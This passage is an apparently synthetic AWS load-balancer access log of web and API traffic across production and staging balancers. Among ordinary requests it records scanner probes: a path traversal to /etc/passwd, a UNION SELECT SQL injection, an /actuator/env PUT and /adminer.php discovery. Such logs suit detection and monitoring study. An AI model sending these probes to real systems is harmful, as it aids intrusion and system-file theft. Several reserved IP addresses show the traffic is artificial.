Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42c-81722740a4674b39b654941d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:48.654615Z "forward" "-" "-" "10.0.129.247:443" "200" "-" "-" +https 2024-11-01T00:53:49.601275Z prod-web-alb 158.125.66.65:51641 10.0.239.49:443 0.067594 0.320476 0.064608 404 404 650 4466 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42d-7c11a7ac7f70444e806d6062" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:49.601275Z "forward" "-" "-" "10.0.239.49:443" "404" "-" "-" +https 2024-11-01T00:53:51.553824Z prod-web-alb 245.28.239.164:43132 10.0.169.218:443 0.065910 0.454316 0.059583 301 301 455 9021 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c42f-f6aac565c6fb46d1a4e15399" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:51.553824Z "forward" "-" "-" "10.0.169.218:443" "301" "-" "-" +https 2024-11-01T00:53:53.352529Z staging-alb 7.197.181.239:13624 69.146.0.63:8080 0.028827 0.461906 0.019009 200 200 561 11168 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c431-7bff5cd86acc48a89e128d5a" "staging-alb.example.com" "-" 8 2024-11-01T00:53:53.352529Z "forward" "-" "-" "69.146.0.63:8080" "200" "-" "-" +https 2024-11-01T00:53:54.804011Z prod-web-alb 193.27.228.250:55079 10.0.197.249:443 0.039598 0.077125 0.027060 403 403 939 598 "PUT /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c432-fc424c8e8ae44ae091b76572" "-" "-" 9 2024-11-01T00:53:54.804011Z "forward" "-" "-" "10.0.197.249:443" "403" "-" "-" +http 2024-11-01T00:53:55.762569Z staging-alb 45.155.205.141:24238 69.110.118.22:443 0.017629 0.390997 0.144404 403 403 324 14429 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c433-5832e91922c24a53a10709c3" "-" "-" 4 2024-11-01T00:53:55.762569Z "forward" "-" "-" "69.110.118.22:443" "403" "-" "-" +https 2024-11-01T00:53:55.940678Z prod-api-alb 102.38.119.213:57982 10.0.230.83:443 0.058893 0.423493 0.007635 200 200 45 2588 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c433-f218e2d4d31941b49e7f90b4" "prod-api-alb.example.com" "-" 7 2024-11-01T00:53:55.940678Z "forward" "-" "-" "10.0.230.83:443" "200" "-" "-" +https 2024-11-01T00:53:57.244880Z prod-web-alb 207.133.22.118:18779 10.0.16.65:443 0.063374 0.241990 0.005633 200 200 545 10088 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c435-d2321b395342443c8cb6907b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:57.244880Z "forward" "-" "-" "10.0.16.65:443" "200" "-" "-" +https 2024-11-01T00:53:57.613338Z prod-web-alb 132.164.55.224:48388 10.0.145.95:443 0.073814 0.114523 0.030802 302 302 778 5579 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c435-9b41c57fdcc8482eafbd96c5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:53:57.613338Z "forward" "-" "-" "10.0.145.95:443" "302" "-" "-" +https 2024-11-01T00:53:58.059508Z prod-api-alb 70.243.210.119:31535 10.0.214.149:443 0.011351 0.364746 0.052539 200 200 485 13239 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c436-515fc3a93f054d998be8d85c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:53:58.059508Z "forward" "-" "-" "10.0.214.149:443" "200" "-" "-" +http 2024-11-01T00:53:59.348345Z staging-alb 152.82.169.51:27000 148.173.55.239:8080 0.025717 0.576806 0.034308 200 200 926 10109 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c437-831c5acdbf5e4ca0bc558470" "staging-alb.example.com" "-" 1 2024-11-01T00:53:59.348345Z "forward" "-" "-" "148.173.55.239:8080" "200" "-" "-" +https 2024-11-01T00:54:00.903754Z prod-api-alb 45.155.205.170:15525 10.0.152.137:443 0.043397 0.346768 0.029892 200 200 831 3282 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c438-05889abd629b4f4f86b9b93c" "-" "-" 5 2024-11-01T00:54:00.903754Z "forward" "-" "-" "10.0.152.137:443" "200" "-" "-" +http 2024-11-01T00:54:02.880865Z staging-alb 45.155.205.51:60010 39.136.180.19:80 0.019631 0.367777 0.065876 403 403 902 3419 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c43a-aa6d3c0c2fc6470c848aae31" "-" "-" 8 2024-11-01T00:54:02.880865Z "forward" "-" "-" "39.136.180.19:80" "403" "-" "-" +http 2024-11-01T00:54:03.277083Z staging-alb 28.80.103.151:50513 165.226.146.77:8080 0.137486 0.206800 0.028874 200 200 767 14812 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43b-bc989b07a66648c79f04f63f" "staging-alb.example.com" "-" 2 2024-11-01T00:54:03.277083Z "forward" "-" "-" "165.226.146.77:8080" "200" "-" "-" +https 2024-11-01T00:54:03.790522Z staging-alb 86.167.204.194:26294 54.113.188.6:80 0.016217 0.201359 0.013377 200 200 394 13944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43b-65515f90d4064a5ba9c877c3" "staging-alb.example.com" "-" 3 2024-11-01T00:54:03.790522Z "forward" "-" "-" "54.113.188.6:80" "200" "-" "-" +https 2024-11-01T00:54:05.188525Z prod-web-alb 225.181.113.178:10873 10.0.153.84:443 0.011663 0.118543 0.008056 404 404 666 3851 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c43d-63aa791af74740ac89938271" "prod-web-alb.example.com" "-" 6 2024-11-01T00:54:05.188525Z "forward" "-" "-" "10.0.153.84:443" "404" "-" "-" +http 2024-11-01T00:54:06.211248Z staging-alb 117.51.225.95:21059 199.30.91.56:443 0.067327 0.227546 0.054674 302 302 145 8780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43e-8950bb1269cf432aa7533a62" "staging-alb.example.com" "-" 1 2024-11-01T00:54:06.211248Z "forward" "-" "-" "199.30.91.56:443" "302" "-" "-" +https 2024-11-01T00:54:08.119060Z prod-web-alb 63.185.226.98:31676 10.0.145.81:443 0.057547 0.006243 0.039232 200 200 534 10996 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c440-7f4626ca701941bfb691fa7f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:54:08.119060Z "forward" "-" "-" "10.0.145.81:443" "200" "-" "-" +http 2024-11-01T00:54:09.670783Z staging-alb 143.19.166.190:48474 124.73.166.56:80 0.025848 0.666741 0.078643 200 200 612 12243 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c441-d3ddeb664cb546ba9c8b1546" "staging-alb.example.com" "-" 4 2024-11-01T00:54:09.670783Z "forward" "-" "-" "124.73.166.56:80" "200" "-" "-" +https 2024-11-01T00:54:11.664185Z staging-alb 161.76.158.224:19463 227.104.155.93:443 0.011632 0.473701 0.141279 200 200 482 4770 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c443-aad66d3055ab4c74b1331547" "staging-alb.example.com" "-" 1 2024-11-01T00:54:11.664185Z "forward" "-" "-" "227.104.155.93:443" "200" "-" "-" +https 2024-11-01T00:54:12.970668Z staging-alb 2.133.124.175:46746 206.151.200.132:80 0.147518 0.091478 0.059026 200 200 146 1051 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c444-53baec32a4f4409ab84205f4" "staging-alb.example.com" "-" 6 2024-11-01T00:54:12.970668Z "forward" "-" "-" "206.151.200.132:80" "200" "-" "-" +https 2024-11-01T00:54:14.951501Z prod-web-alb 193.27.228.197:54103 10.0.150.42:443 0.044573 0.258854 0.047259 401 401 967 579 "GET /adminer.php HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c446-9195d26180c44be28b5b6d65" "-" "-" 6 2024-11-01T00:54:14.951501Z "forward" "-" "-" "10.0.150.42:443" "401" "-" "-" +https 2024-11-01T00:54:16.304281Z prod-api-alb 209.173.40.222:55908 10.0.67.93:443 0.033960 0.496334 0.061345 200 200 243 10252 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c448-e93ef8eaaaa14ac1bb8221e4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:54:16.304281Z "forward" "-" "-" "10.0.67.93:443" "200" "-" "-" +https 2024-11-01T00:54:17.162182Z prod-web-alb 70.45.228.194:41442 10.0.187.146:443 0.064046 0.202909 0.071291 200 200 205 4300 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c449-cb201a39078e435d9e2793b1" "prod-web-alb.example.com" "-" 10 2024-11-01T00:54:17.162182Z "forward" "-" "-" "10.0.187.146:443" "200" "-" "-" +https 2024-11-01T00:54:19.096413Z prod-api-alb 226.32.225.23:28648 10.0.55.115:443 0.080371 0.433992 0.027058 301 301 812 2574 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c44b-36a8778107b04180b63f7968" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:19.096413Z "forward" "-" "-" "10.0.55.115:443" "301" "-" "-" +http 2024-11-01T00:54:20.484541Z staging-alb 141.74.156.105:62891 230.141.103.168:80 0.003838 0.685182 0.118196 301 301 193 13251 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c44c-f67b961725684e80adbc9d0d" "staging-alb.example.com" "-" 10 2024-11-01T00:54:20.484541Z "forward" "-" "-" "230.141.103.168:80" "301" "-" "-" +https 2024-11-01T00:54:21.378648Z prod-web-alb 115.238.116.109:41656 10.0.70.136:443 0.049972 0.001254 0.061423 200 200 458 10052 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c44d-0ad895b743524176a1177f1d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:54:21.378648Z "forward" "-" "-" "10.0.70.136:443" "200" "-" "-" +https 2024-11-01T00:54:23.309481Z prod-web-alb 185.210.31.169:42248 10.0.183.183:443 0.091747 0.287099 0.098633 301 301 742 6957 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c44f-f5206eef36174cb699d1524c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:23.309481Z "forward" "-" "-" "10.0.183.183:443" "301" "-" "-" +https 2024-11-01T00:54:24.237799Z staging-alb 83.195.223.67:63449 80.107.12.124:443 0.138617 0.495043 0.096218 200 200 208 10089 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c450-54e0d757065d40fc99d3dab9" "staging-alb.example.com" "-" 1 2024-11-01T00:54:24.237799Z "forward" "-" "-" "80.107.12.124:443" "200" "-" "-" +https 2024-11-01T00:54:25.227646Z prod-api-alb 89.90.68.161:52834 10.0.160.26:443 0.052141 0.252533 0.096599 302 302 992 6870 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c451-2b84576f1810440289349c78" "prod-api-alb.example.com" "-" 10 2024-11-01T00:54:25.227646Z "forward" "-" "-" "10.0.160.26:443" "302" "-" "-" +https 2024-11-01T00:54:25.963341Z prod-api-alb 10.29.247.219:60836 10.0.223.49:443 0.004533 0.120849 0.042164 301 301 179 9254 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c451-54ac5237d9374287ad8c173f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:54:25.963341Z "forward" "-" "-" "10.0.223.49:443" "301" "-" "-" +http 2024-11-01T00:54:27.281935Z staging-alb 108.29.191.181:48159 248.251.222.24:443 0.118499 0.179906 0.132657 404 404 134 14658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c453-f29837e711d84bbfb7727b27" "staging-alb.example.com" "-" 8 2024-11-01T00:54:27.281935Z "forward" "-" "-" "248.251.222.24:443" "404" "-" "-" +https 2024-11-01T00:54:28.150129Z prod-web-alb 119.236.201.101:11332 10.0.56.209:443 0.024288 0.382127 0.010985 200 200 23 5031 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c454-754fdff1ad09476c860c129e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:54:28.150129Z "forward" "-" "-" "10.0.56.209:443" "200" "-" "-" +https 2024-11-01T00:54:30.057070Z prod-web-alb 129.80.219.165:48711 10.0.166.52:443 0.023791 0.108525 0.025216 200 200 276 10546 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c456-32e98b9bfe184a058f7799b9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:54:30.057070Z "forward" "-" "-" "10.0.166.52:443" "200" "-" "-" +https 2024-11-01T00:54:31.083093Z prod-web-alb 10.147.196.143:46020 10.0.47.211:443 0.042233 0.415848 0.019680 301 301 2 5330 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c457-cf62a8c55cb74536b19d9598" "prod-web-alb.example.com" "-" 9 2024-11-01T00:54:31.083093Z "forward" "-" "-" "10.0.47.211:443" "301" "-" "-" +https 2024-11-01T00:54:32.409195Z prod-web-alb 246.166.147.44:12389 10.0.195.139:443 0.099366 0.093143 0.074886 200 200 519 11416 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c458-8ff21657b449447da8da2add" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:32.409195Z "forward" "-" "-" "10.0.195.139:443" "200" "-" "-" +https 2024-11-01T00:54:34.113791Z prod-api-alb 249.233.77.94:29246 10.0.66.50:443 0.063426 0.014457 0.054885 200 200 387 13836 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c45a-e28c8f0120e345ebb6f3b82f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:34.113791Z "forward" "-" "-" "10.0.66.50:443" "200" "-" "-" +http 2024-11-01T00:54:34.871881Z staging-alb 159.57.4.120:29617 212.140.181.203:443 0.149782 0.094016 0.119194 200 200 508 8289 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c45a-6a192b76b1124b77a8de51c4" "staging-alb.example.com" "-" 1 2024-11-01T00:54:34.871881Z "forward" "-" "-" "212.140.181.203:443" "200" "-" "-" +https 2024-11-01T00:54:35.279533Z prod-web-alb 24.81.9.111:42835 10.0.21.126:443 0.048918 0.158981 0.061665 404 404 929 1314 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c45b-088171417e78466096d06dcc" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:35.279533Z "forward" "-" "-" "10.0.21.126:443" "404" "-" "-" +https 2024-11-01T00:54:36.698873Z prod-api-alb 111.56.246.52:14081 10.0.85.181:443 0.041635 0.439530 0.004427 200 200 165 3160 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c45c-80493d8f93f949e9b4941275" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:36.698873Z "forward" "-" "-" "10.0.85.181:443" "200" "-" "-" +https 2024-11-01T00:54:36.907286Z prod-api-alb 6.164.90.113:47693 10.0.253.210:443 0.095727 0.056185 0.087906 301 301 341 12956 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c45c-0a8b770461ed4a31bfcedc60" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:36.907286Z "forward" "-" "-" "10.0.253.210:443" "301" "-" "-" +https 2024-11-01T00:54:38.102817Z prod-web-alb 16.160.65.38:39142 10.0.17.100:443 0.068753 0.468049 0.060131 200 200 503 213 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c45e-d022bd85bf6648d792b598b8" "prod-web-alb.example.com" "-" 1 2024-11-01T00:54:38.102817Z "forward" "-" "-" "10.0.17.100:443" "200" "-" "-" +https 2024-11-01T00:54:40.063417Z prod-web-alb 136.159.64.219:52296 10.0.220.3:443 0.011822 0.349615 0.067529 200 200 932 8787 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c460-61fcd666e19846a1be2f1fb2" "prod-web-alb.example.com" "-" 10 2024-11-01T00:54:40.063417Z "forward" "-" "-" "10.0.220.3:443" "200" "-" "-" +https 2024-11-01T00:54:41.222066Z prod-api-alb 70.89.182.120:45443 10.0.234.166:443 0.088383 0.052247 0.022286 404 404 132 14418 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c461-12a6f8490166477a89aace08" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:41.222066Z "forward" "-" "-" "10.0.234.166:443" "404" "-" "-" +https 2024-11-01T00:54:42.488593Z staging-alb 144.226.37.25:19428 199.229.138.100:8080 0.115711 0.084564 0.140871 302 302 492 5037 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c462-b9078892041f46bbb1d104cf" "staging-alb.example.com" "-" 3 2024-11-01T00:54:42.488593Z "forward" "-" "-" "199.229.138.100:8080" "302" "-" "-" +https 2024-11-01T00:54:42.822092Z staging-alb 132.120.154.202:28588 250.13.150.78:8080 0.147213 0.557418 0.040973 200 200 868 3801 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c462-7a741838e8c94cb895ad3a02" "staging-alb.example.com" "-" 0 2024-11-01T00:54:42.822092Z "forward" "-" "-" "250.13.150.78:8080" "200" "-" "-" +https 2024-11-01T00:54:44.604723Z prod-api-alb 200.227.33.174:10150 10.0.188.233:443 0.035935 0.177153 0.083454 200 200 300 5310 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c464-e003b252159b4f769a65dbb1" "prod-api-alb.example.com" "-" 9 2024-11-01T00:54:44.604723Z "forward" "-" "-" "10.0.188.233:443" "200" "-" "-" +https 2024-11-01T00:54:45.018008Z prod-api-alb 37.227.48.155:34830 10.0.203.31:443 0.030359 0.425130 0.035034 200 200 954 2676 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c465-db3940d1d9ef4d7f906aead9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:45.018008Z "forward" "-" "-" "10.0.203.31:443" "200" "-" "-" +http 2024-11-01T00:54:46.638470Z staging-alb 236.6.206.97:13885 155.85.216.235:443 0.097389 0.395522 0.062325 302 302 295 11656 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c466-3d27f33912284a6dbcb58329" "staging-alb.example.com" "-" 7 2024-11-01T00:54:46.638470Z "forward" "-" "-" "155.85.216.235:443" "302" "-" "-" +https 2024-11-01T00:54:48.173263Z prod-web-alb 184.75.177.244:53111 10.0.171.246:443 0.079566 0.480483 0.009313 200 200 347 5147 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" 